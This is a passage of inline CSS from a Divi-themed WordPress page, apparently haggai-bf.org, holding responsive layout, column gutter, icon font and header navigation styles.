(max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<style id="divi-dynamic-critical-inline-css">
@font-face{font-family:ETmodules;font-display:block;src:url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.eot);src:url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.eot?#iefix) format("embedded-opentype"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.woff) format("woff"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.ttf) format("truetype"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.svg#ETmodules) format("svg");font-weight:400;font-style:normal}
@media (min-width:981px){.et_pb_gutters3 .et_pb_column,.et_pb_gutters3.et_pb_row .et_pb_column{margin-right:5.5%}.et_pb_gutters3 .et_pb_column_4_4,.et_pb_gutters3.et_pb_row .et_pb_column_4_4{width:100%}.et_pb_gutters3 .et_pb_column_4_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_4_4 .et_pb_module{margin-bottom:2.75%}.et_pb_gutters3 .et_pb_column_3_4,.et_pb_gutters3.et_pb_row .et_pb_column_3_4{width:73.625%}.et_pb_gutters3 .et_pb_column_3_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_3_4 .et_pb_module{margin-bottom:3.735%}.et_pb_gutters3 .et_pb_column_2_3,.et_pb_gutters3.et_pb_row .et_pb_column_2_3{width:64.833%}.et_pb_gutters3 .et_pb_column_2_3 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_2_3 .et_pb_module{margin-bottom:4.242%}.et_pb_gutters3 .et_pb_column_3_5,.et_pb_gutters3.et_pb_row .et_pb_column_3_5{width:57.8%}.et_pb_gutters3 .et_pb_column_3_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_3_5 .et_pb_module{margin-bottom:4.758%}.et_pb_gutters3 .et_pb_column_1_2,.et_pb_gutters3.et_pb_row .et_pb_column_1_2{width:47.25%}.et_pb_gutters3 .et_pb_column_1_2 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_2 .et_pb_module{margin-bottom:5.82%}.et_pb_gutters3 .et_pb_column_2_5,.et_pb_gutters3.et_pb_row .et_pb_column_2_5{width:36.7%}.et_pb_gutters3 .et_pb_column_2_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_2_5 .et_pb_module{margin-bottom:7.493%}.et_pb_gutters3 .et_pb_column_1_3,.et_pb_gutters3.et_pb_row .et_pb_column_1_3{width:29.6667%}.et_pb_gutters3 .et_pb_column_1_3 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_3 .et_pb_module{margin-bottom:9.27%}.et_pb_gutters3 .et_pb_column_1_4,.et_pb_gutters3.et_pb_row .et_pb_column_1_4{width:20.875%}.et_pb_gutters3 .et_pb_column_1_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_4 .et_pb_module{margin-bottom:13.174%}.et_pb_gutters3 .et_pb_column_1_5,.et_pb_gutters3.et_pb_row .et_pb_column_1_5{width:15.6%}.et_pb_gutters3 .et_pb_column_1_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_5 .et_pb_module{margin-bottom:17.628%}.et_pb_gutters3 .et_pb_column_1_6,.et_pb_gutters3.et_pb_row .et_pb_column_1_6{width:12.0833%}.et_pb_gutters3 .et_pb_column_1_6 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_6 .et_pb_module{margin-bottom:22.759%}.et_pb_gutters3 .et_full_width_page.woocommerce-page ul.products li.product{width:20.875%;margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products li.product{width:28.353%;margin-right:7.47%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-1 li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-1 li.product{width:100%;margin-right:0}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li.product{width:48%;margin-right:4%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(2n+2),.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(2n+2){margin-right:0}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(3n+1),.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(3n+1){clear:none}}
@media (min-width:981px){.et_pb_gutter.et_pb_gutters1 #left-area{width:75%}.et_pb_gutter.et_pb_gutters1 #sidebar{width:25%}.et_pb_gutters1.et_right_sidebar #left-area{padding-right:0}.et_pb_gutters1.et_left_sidebar #left-area{padding-left:0}.et_pb_gutter.et_pb_gutters1.et_right_sidebar #main-content .container:before{right:25%!important}.et_pb_gutter.et_pb_gutters1.et_left_sidebar #main-content .container:before{left:25%!important}.et_pb_gutters1 .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column{margin-right:0}.et_pb_gutters1 .et_pb_column_4_4,.et_pb_gutters1.et_pb_row .et_pb_column_4_4{width:100%}.et_pb_gutters1 .et_pb_column_4_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_4_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_3_4,.et_pb_gutters1.et_pb_row .et_pb_column_3_4{width:75%}.et_pb_gutters1 .et_pb_column_3_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_3_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_2_3,.et_pb_gutters1.et_pb_row .et_pb_column_2_3{width:66.667%}.et_pb_gutters1 .et_pb_column_2_3 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_2_3 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_3_5,.et_pb_gutters1.et_pb_row .et_pb_column_3_5{width:60%}.et_pb_gutters1 .et_pb_column_3_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_3_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_2,.et_pb_gutters1.et_pb_row .et_pb_column_1_2{width:50%}.et_pb_gutters1 .et_pb_column_1_2 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_2 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_2_5,.et_pb_gutters1.et_pb_row .et_pb_column_2_5{width:40%}.et_pb_gutters1 .et_pb_column_2_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_2_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_3,.et_pb_gutters1.et_pb_row .et_pb_column_1_3{width:33.3333%}.et_pb_gutters1 .et_pb_column_1_3 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_3 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_4,.et_pb_gutters1.et_pb_row .et_pb_column_1_4{width:25%}.et_pb_gutters1 .et_pb_column_1_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_5,.et_pb_gutters1.et_pb_row .et_pb_column_1_5{width:20%}.et_pb_gutters1 .et_pb_column_1_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_6,.et_pb_gutters1.et_pb_row .et_pb_column_1_6{width:16.6667%}.et_pb_gutters1 .et_pb_column_1_6 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_6 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_full_width_page.woocommerce-page ul.products li.product{width:25%;margin-right:0;margin-bottom:0}.et_pb_gutters1.et_left_sidebar.woocommerce-page #main-content ul.products li.product,.et_pb_gutters1.et_right_sidebar.woocommerce-page #main-content ul.products li.product{width:33.333%;margin-right:0}}@media (max-width:980px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_row_1-2_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-4_1-4_1-2>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-5_1-5_3-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1 .et_pb_row_3-5_1-5_1-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1 .et_pb_row_4col>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_5col>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_1-2_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-4_1-4_1-2>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-5_1-5_3-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_3-5_1-5_1-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_4col>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_5col>.et_pb_column.et_pb_column_1_5{width:50%;margin-right:0}.et_pb_gutters1 .et_pb_row_1-2_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6_1-2>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_6col>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-2_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6_1-2>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_6col>.et_pb_column.et_pb_column_1_6{width:33.333%;margin-right:0}.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6{width:50%;margin-right:0}}@media (max-width:767px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}}@media (max-width:479px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column{margin:0!important}.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}}
#et-secondary-menu li,#top-menu li{word-wrap:break-word}.nav li ul,.et_mobile_menu{border-color:#2EA3F2}.mobile_menu_bar:before,.mobile_menu_bar:after,#top-menu li.current-menu-ancestor>a,#top-menu li.current-menu-item>a{color:#2EA3F2}#main-header{-webkit-transition:background-color 0.4s, color 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s;transition:background-color 0.4s, color 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s;transition:background-color 0.4s, color 0.4s, transform 0.4s, opacity 0.4s ease-in-out;transition:background-color 0.4s, color 0.4s, transform 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s}#main-header.et-disabled-animations *{-webkit-transition-duration:0s !important;transition-duration:0s !important}.container{text-align:left;position:relative}.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav.et_show_nav.et-tb #page-container,.et_fixed_nav.et_show_nav.et-tb-has-header #page-container{padding-top:0 !important}.et_fixed_nav.et_show_nav.et_secondary_nav_enabled #page-container{padding-top:111px}.et_fixed_nav.et_show_nav.et_secondary_nav_enabled.et_header_style_centered #page-container{padding-top:177px}.et_fixed_nav.et_show_nav.et_header_style_centered #page-container{padding-top:147px}.et_fixed_nav #main-header{position:fixed}.et-cloud-item-editor #page-container{padding-top:0 !important}.et_header_style_left #et-top-navigation{padding-top:33px}.et_header_style_left #et-top-navigation nav>ul>li>a{padding-bottom:33px}.et_header_style_left .logo_container{position:absolute;height:100%;width:100%}.et_header_style_left #et-top-navigation .mobile_menu_bar{padding-bottom:24px}.et_hide_search_icon #et_top_search{display:none !important}#logo{width:auto;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;margin-bottom:0;max-height:54%;display:inline-block;float:none;vertical-align:middle;-webkit-transform:translate3d(0, 0, 0)}.et_pb_svg_logo #logo{height:54%}.logo_container{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}span.logo_helper{display:inline-block;height:100%;vertical-align:middle;width:0}.safari .centered-inline-logo-wrap{-webkit-transform:translate3d(0, 0, 0);-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#et-define-logo-wrap img{width:100%}.gecko #et-define-logo-wrap.svg-logo{position:relative !important}#top-menu-nav,#top-menu{line-height:0}#et-top-navigation{font-weight:600}.et_fixed_nav #et-top-navigation{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-cart-info span:before{content:"\e07a";margin-right:10px;position:relative}nav#top-menu-nav,#top-menu,nav.et-menu-nav,.et-menu{float:left}#top-menu li{display:inline-block;font-size:14px;padding-right:22px}#top-menu>li:last-child{padding-right:0}.et_fullwidth_nav.et_non_fixed_nav.et_header_style_left #top-menu>li:last-child>ul.sub-menu{right:0}#top-menu a{color:rgba(0,0,0,0.6);text-decoration:none;display:block;position:relative;-webkit-transition:opacity 0.4s ease-in-out, background-color 0.4s ease-in-out;transition:opacity 0.4s ease-in-out, background-color 0.4s ease-in-out}#top-menu-nav>ul>li>a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#et_search_icon:before{content:"\55";font-size:17px;left:0;position:absolute;top:-3px}#et_search_icon:hover{cursor:pointer}#et_top_search{float:right;margin:3px 0 0 22px;position:relative;display:block;width:18px}#et_top_search.et_search_opened{position:absolute;width:100%}.et-search-form{top:0;bottom:0;right:0;position:absolute;z-index:1000;width:100%}.et-search-form input{width:90%;border:none;color:#333;position:absolute;top:0;bottom:0;right:30px;margin:auto;background:transparent}.et-search-form .et-search-field::-ms-clear{width:0;height:0;display:none}.et_search_form_container{-webkit-animation:none;animation:none;-o-animation:none}.container.et_search_form_container{position:relative;opacity:0;height:1px}.container.et_search_form_container.et_pb_search_visible{z-index:999;-webkit-animation:fadeInTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_search_visible.et_pb_no_animation{opacity:1}.et_pb_search_form_hidden{-webkit-animation:fadeOutTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}span.et_close_search_field{display:block;width:30px;height:30px;z-index:99999;position:absolute;right:0;cursor:pointer;top:0;bottom:0;margin:auto}span.et_close_search_field:after{font-family:'ETmodules';content:'\4d';speak:none;font-weight:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:32px;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box}.container.et_menu_container{z-index:99}.container.et_search_form_container.et_pb_search_form_hidden{z-index:1 !important}.et_search_outer{width:100%;overflow:hidden;position:absolute;top:0}.container.et_pb_menu_hidden{z-index:-1}form.et-search-form{background:rgba(0,0,0,0) !important}input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}.et-cart-info{color:inherit}#et-top-navigation .et-cart-info{float:left;margin:-2px 0 0 22px;font-size:16px}#et-top-navigation{float:right}#top-menu li li{padding:0 20px;margin:0}#top-menu li li a{padding:6px 20px;width:200px}.nav li.et-touch-hover>ul{opacity:1;visibility:visible}#top-menu .menu-item-has-children>a:first-child:after,#et-secondary-nav .menu-item-has-children>a:first-child:after{font-family:'ETmodules';content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}#top-menu .menu-item-has-children>a:first-child,#et-secondary-nav .menu-item-has-children>a:first-child{padding-right:20px}#top-menu li .menu-item-has-children>a:first-child{padding-right:40px}#top-menu li .menu-item-has-children>a:first-child:after{right:20px;top:6px}#top-menu li.mega-menu{position:inherit}#top-menu li.mega-menu>ul{padding:30px 20px;position:absolute !important;width:100%;left:0 !important}#top-menu li.mega-menu ul li{margin:0;float:left !important;display:block !important;padding:0 !important}#top-menu li.mega-menu>ul>li:nth-of-type(4n){clear:right}#top-menu li.mega-menu>ul>li:nth-of-type(4n+1){clear:left}#top-menu li.mega-menu ul li li{width:100%}#top-menu li.mega-menu li>ul{-webkit-animation:none !important;animation:none !important;padding:0px;border:none;left:auto;top:auto;width:90% !important;position:relative;-webkit-box-shadow:none;box-shadow:none}#top-menu li.mega-menu li ul{visibility:visible;opacity:1;display:none}#top-menu li.mega-menu.et-hover li ul{display:block}#top-menu li.mega-menu.et-hover>ul{opacity:1 !important;visibility:visible !important}#top-menu li.mega-menu>ul>li>a{width:90%;padding:0 20px 10px}#top-menu li.mega-menu>ul>li>a:first-child{padding-top:0 !important;font-weight:bold;border-bottom:1px solid rgba(0,0,0,0.03)}#top-menu li.mega-menu>ul>li>a:first-child:hover{background-color:transparent !important}#top-menu li.mega-menu li>a{width:100%}#top-menu li.mega-menu.mega-menu-parent li li,#top-menu li.mega-menu.mega-menu-parent li>a{width:100% !important}#top-menu li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100% !important}#top-menu li.mega-menu>ul>li{width:25%;margin:0}#top-menu li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}#top-menu li.mega-menu.mega-menu-parent-2>ul>li{width:50%}#top-menu li.mega-menu.mega-menu-parent-1>ul>li{width:100%}#top-menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}#top-menu li.mega-menu>ul>li>ul>li{width:100%;margin:0}#et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before,.et_toggle_slide_menu:after{content:"\61";font-size:32px;left:0;position:relative;top:0;cursor:pointer}.mobile_nav .select_page{display:none}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .et-cart-info{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .et-cart-info{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .mobile_menu_bar{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .mobile_menu_bar{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_no_animation #top-menu,.et_pb_no_animation #et_search_icon:before,.et_pb_no_animation .mobile_menu_bar,.et_pb_no_animation.et_search_form_container{animation:none !important;-o-animation:none !important;-webkit-animation:none !important;-moz-animation:none !important}body.admin-bar.et_fixed_nav #main-header{top:32px}body.et-wp-pre-3_8.admin-bar.et_fixed_nav #main-header{top:28px}body.et_fixed_nav.et_secondary_nav_enabled #main-header{top:30px}body.admin-bar.et_fixed_nav.et_secondary_nav_enabled #main-header{top:63px}@media all and (min-width: 981px){.et_hide_primary_logo #main-header:not(.et-fixed-header) .logo_container,.et_hide_fixed_logo #main-header.et-fixed-header .logo_container{height:0;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et_hide_primary_logo #main-header:not(.et-fixed-header) .centered-inline-logo-wrap,.et_hide_fixed_logo #main-header.et-fixed-header .centered-inline-logo-wrap{height:0;opacity:0;padding:0}.et-animated-content#page-container{-webkit-transition:margin-top 0.4s ease-in-out;transition:margin-top 0.4s ease-in-out}.et_hide_nav #page-container{-webkit-transition:none;transition:none}.et_fullwidth_nav .et-search-form,.et_fullwidth_nav .et_close_search_field{right:30px}#main-header.et-fixed-header{-webkit-box-shadow:0 0 7px rgba(0,0,0,0.1) !important;box-shadow:0 0 7px rgba(0,0,0,0.1) !important}.et_header_style_left .et-fixed-header #et-top-navigation{padding-top:20px}.et_header_style_left .et-fixed-header #et-top-navigation nav>ul>li>a{padding-bottom:20px}.et_hide_nav.et_fixed_nav #main-header{opacity:0}.et_hide_nav.et_fixed_nav .et-fixed-header#main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}.et_hide_nav .centered-inline-logo-wrap,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav .centered-inline-logo-wrap{-webkit-transition-duration:.7s;transition-duration:.7s}.et_hide_nav #page-container{padding-top:0 !important}.et_primary_nav_dropdown_animation_fade #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_fade #et-secondary-nav li:hover>ul{-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.et_primary_nav_dropdown_animation_slide #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_slide #et-secondary-nav li:hover>ul{-webkit-animation:fadeLeft .4s ease-in-out;animation:fadeLeft .4s ease-in-out}.et_primary_nav_dropdown_animation_expand #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_expand #et-secondary-nav li:hover>ul{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-animation:Grow .4s ease-in-out;animation:Grow .4s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav ul li:hover>ul{-webkit-animation:flipInX .6s ease-in-out;animation:flipInX .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav li:hover>ul{-webkit-animation:flipInY .6s ease-in-out;animation:flipInY .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_fullwidth_nav #main-header .container{width:100%;max-width:100%;padding-right:32px;padding-left:30px}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left #main-header .container{padding-left:0}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left .logo_container{padding-left:30px}}@media all and (max-width: 980px){.et_fixed_nav.et_show_nav.et_secondary_nav_enabled #page-container,.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav.et_show_nav.et-tb #page-container,.et_fixed_nav.et_show_nav.et-tb-has-header #page-container{padding-top:0 !important}.et_non_fixed_nav #page-container{padding-top:0}.et_fixed_nav.et_secondary_nav_only_menu.admin-bar #main-header{top:32px !important}.et_hide_mobile_logo #main-header .logo_container{display:none;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#top-menu{display:none}.et_hide_nav.et_fixed_nav #main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}#et-top-navigation{margin-right:0;-webkit-transition:none;transition:none}.et_fixed_nav #main-header{position:absolute}.et_header_style_left .et-fixed-header #et-top-navigation,.et_header_style_left #et-top-navigation{padding-top:24px;display:block}.et_fixed_nav #main-header{-webkit-transition:none;transition:none}.et_fixed_nav_temp #main-header{top:0 !important}#logo,.logo_container,#main-header,.container{-webkit-transition:none;transition:none}.et_header_style_left #logo{max-width:50%}#et_top_search{margin:0 35px 0 0;float:left}#et_search_icon:before{top:7px}.et_header_style_left .et-search-form{width:50% !important;max-width:50% !important}#et_mobile_nav_menu{display:block}#et-top-navigation .et-cart-info{margin-top:5px}}@media screen and (max-width: 782px){body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 